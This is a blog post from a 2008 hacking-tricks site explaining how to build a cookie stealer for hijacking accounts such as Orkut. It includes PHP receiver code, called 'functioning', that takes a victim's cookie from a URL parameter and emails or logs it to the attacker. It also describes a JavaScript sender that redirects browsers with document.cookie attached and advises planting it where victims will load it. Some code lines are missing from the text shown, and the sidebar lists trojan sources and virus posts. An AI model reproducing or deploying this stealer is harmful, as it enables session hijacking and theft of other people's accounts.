How to Make a Cookie Stealer
Introduction
Exactly how does a cookie stealer work, anyway? There are two components in a cookie stealer: the sender and the receiver.
The sender can take many forms. In essense, it's just a link to the receiver with the cookie somehow attached. It can sometimes be difficult to find a way to implement the sender.
The receiver, as the name suggests, is a device which receives the cookie from the sender. It can also take several forms, but the most common is that of a PHP document, most commonly found residing on some obscure webserver.
Step One: The Code
Coding a receiver is the part with which most newbies struggle. Only two things are needed to make a receiver: a webhost which supports PHP, and Notepad (see the end of the text for a link to some free PHP hosts).
As I said in the introduction, the receiver's job is to receive the cookie from the sender. The easiest way to send information to a PHP document is by using the HTTP GET method, which appends information to the end of the URL as a parameter (for example, "page.php?arg1=value"). PHP can access GET information by accessing $HTTP_GET_VARS[x], where x is a string containing the name of the argument.
Once the receiver has the cookie, it needs a way to get that cookie to you. The two most common ways of doing this are sending it in an email, and storing it in a log. We'll look at both.
First, let's look at sending it in an email. Here is what such a beast would look like (functioning code):
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
mail("me@mydomain.com", "Cookie stealer report", $cookie); // line 3
?> // line 4
Line 1 tells the server that this is indeed a PHP document.
Line 2 takes the cookie from the URL ("stealer.php?cookie=x") and stores it in the variable $cookie.
Line 3 accesses PHP's mail() function and sends the cookie to "me@mydomain.com" with the subject of "Cookie stealer report".
Line 4 tells the server that the PHP code ends here.
Next, we'll look at my preferred method, which is storing the cookie in a logfile. (functioning code)
$cookie = $HTTP_GET_VARS["cookie"]; // line 2
$file = fopen('cookielog.txt', 'a'); // line 3
fwrite($file, $cookie . "\n\n"); // line 4
?> // line 5
Lines 1 and 2 are the same as before.
Line 3 opens the file "cookielog.txt" for writing, then stores the file's handle in $file.
Line 4 writes the cookie to the file which has its handle in $file. The period between $cookie and "\n\n" combines the two strings as one. The "\n\n" acts as a double line-break, making it easier for us to sift through the log file.
Line 5 is the same as before.
Step Two: Implementing the Stealer
The hardest part (usually) of making a cookie stealer is finding a way to use the sender. The simplest method requires use of HTML and JavaScript, so you have to be sure that your environment supports those two. Here is an example of a sender.
// Line 3
Line 1 tells the browser that the following chunk of code is to be interpereted as JavaScript.
Line 2 adds document.cookie to the end of the URL, which is then stored in document.location. Whenever document.location is changed, the browser is redirected to that URL.
Line 3 tells the browser to stop reading the code as JavaScript (return to HTML).
There are two main ways of implementing the sender:
You can plant your sender where the victim will view it as an HTML document with his browser. In order to do that, you have to find some way to actually post the code somewhere on the site.
Back To Orkut Hacks
Back To Home
This entry was posted
on 2:51:00 PM
.
You can leave a response
and follow any responses to this entry through the
Subscribe to:
Post Comments (Atom)
.
Recent Posts
Translate This Page
Join us on orkut
Email Me
Clock
Calendar
Counter
World Map
Bookmarks
Site Meter
Terms & Conditions
This web page, posts in forum and software is provided for educational use only! If you engage in any illegal activity the author does not take any responsibility for it. By using and browsing the contents on this page you agree with terms.
Archives
-
▼
2008
(453)
-
▼
June
(184)
- 21 Hacking E-Books
- Create your own f@ke login page!!! by Jotform
- Recover Lost Instant Messenger Passwords - GTalk, ...
- Rapidshare premium link generators
- [ VB ] 26 Trojan sourcecodes
- Remove Brontok Virus Urself
- 30 best hacking softwares
- **HACK BSNL BROADBAND**
- FBI Forensic Field Kit : Wireless Hacking Live DVD
- Hacking Software Collection
- Eccouncil - Certified Ethical Hacker v5 Instructor
- Certified Ethical Hacking
- Command Prompt
- All About XP
- Computer Tricks
- Firefox Tricks
- Some Important Tips about Gmail
- Google Advanced Search:Mp3 Search
- How To: Load Gmail Faster
- Multi Google talk!!!(really working)
- Services Provided By Google
- Google Pack
- Gtalk tips and tricks
- Google Reader Firefox integration
- Theme for Gtalk
- Google search tips for hacking
- All Keyboard Shortcuts
- Generic
- Remote Desktop Connection Navigation
- Accessibility
- Gmail Shortcuts
- Mozilla Firefox Shortcuts
- List of F1-F9 Key for cmd prompt
- Orkut Hacks
- Best hacks for orkut
- Orkut Helper 7.5 (Do Whatever you want with Orkut)
- Adding Google Talk in Orkut Sidebar
- How to make cookies and hack Orkut accounts
- Rapidshare/Megaupload Hacks
- Setup and Use PROXY with Firefox
- Hack Rapidshare and all other file hosting websites
- Hack Rapidshare and Megaupload
- Bypass Megaupload country slot limit without toolb...
- Download Unlimited from Rapidshare without paying
- Rapidshare Help to download files
- see using hidden files using DoS
- Computer Tricks
- Clipboard hacking
- Megaupload............hacking
- bRoAdbAnd HaCkIng bY Dark Hackers...............
- How to find out Password of files via google
- FOLDER LOCKER WITH PASSORD WIDOUT ANY S\W (nice on...
- can u make a folder name con (no space no other va...
- 100% Free Software Downloads
- Increase your dial up speed to 115.2 kbps
- Keyboard Tricks
- Coool Tricks !!!!!!!!!!!!!!!
- How to hide a file in image
- IMPROVE UR XP SHUTDOWN
- Increase your internet speed bit
- Increasing Band-Width By 20%
- LOGIN WITH MULTIPLE IDS IN ORKUT ,YAHOO,GOOGLE
- Make Firefox Three Times Faster.......
- Modify your cdrom to watch dvd movies
- premium accounts-2
- Put The Command Prompt Where You Want It
- Recover the lost administrators password in Window
- REMOVING PROGRAMS FROM CONTROL PANEL'S ADD/REMOVE
- Restrict PC Shutdown
- Send free sms to mobile from your pc
- Shutdown pcs at school
- Premium Accounts
- Speed Up Starting Of CD/DVD Burning Software
- SPEED UP UR ACROBAT READER (ALMOST LIKE NOTEPAD)
- START A MOVIE IN PAINT
- trace anyone in the world.....
- Trick To See The List Of Deleted Files On Your Com
- u can send mails from any one u want
- Uninstalling Windows from Command Prompt
- Use PC as an Alarm to get up
- Virus to corrupt .exe and .bat files
- DISPLAY PENTIUM 5 OR MORE on ur pc secret trick
- Disabling Drives in My Computer
- Best and worst profile , album or scrapbook
- How to edit the script?
- Scrap Without name
- Top orkut tips & tricks used mostly are…
- SOFTWARE DOWNLOAD
- How to rename the Microsoft Windows Recycle Bin.(t...
- How To delete an "undeletable" file in XP
- How To Download File From Megaupload Using FireFox
- Hide ur drives || Lock ur drives
- Hiding User Accounts On Logon Screen In XP
- hiddden programs in ur windows
- Change Ur Font In Glitter Graphics
- Fun virus just 4 enjoy
- Enable/Disable Your Task Manager
- 11 Ways to make you computer faster
- Editing The Boot.ini File
-
▼
June
(184)
0 comments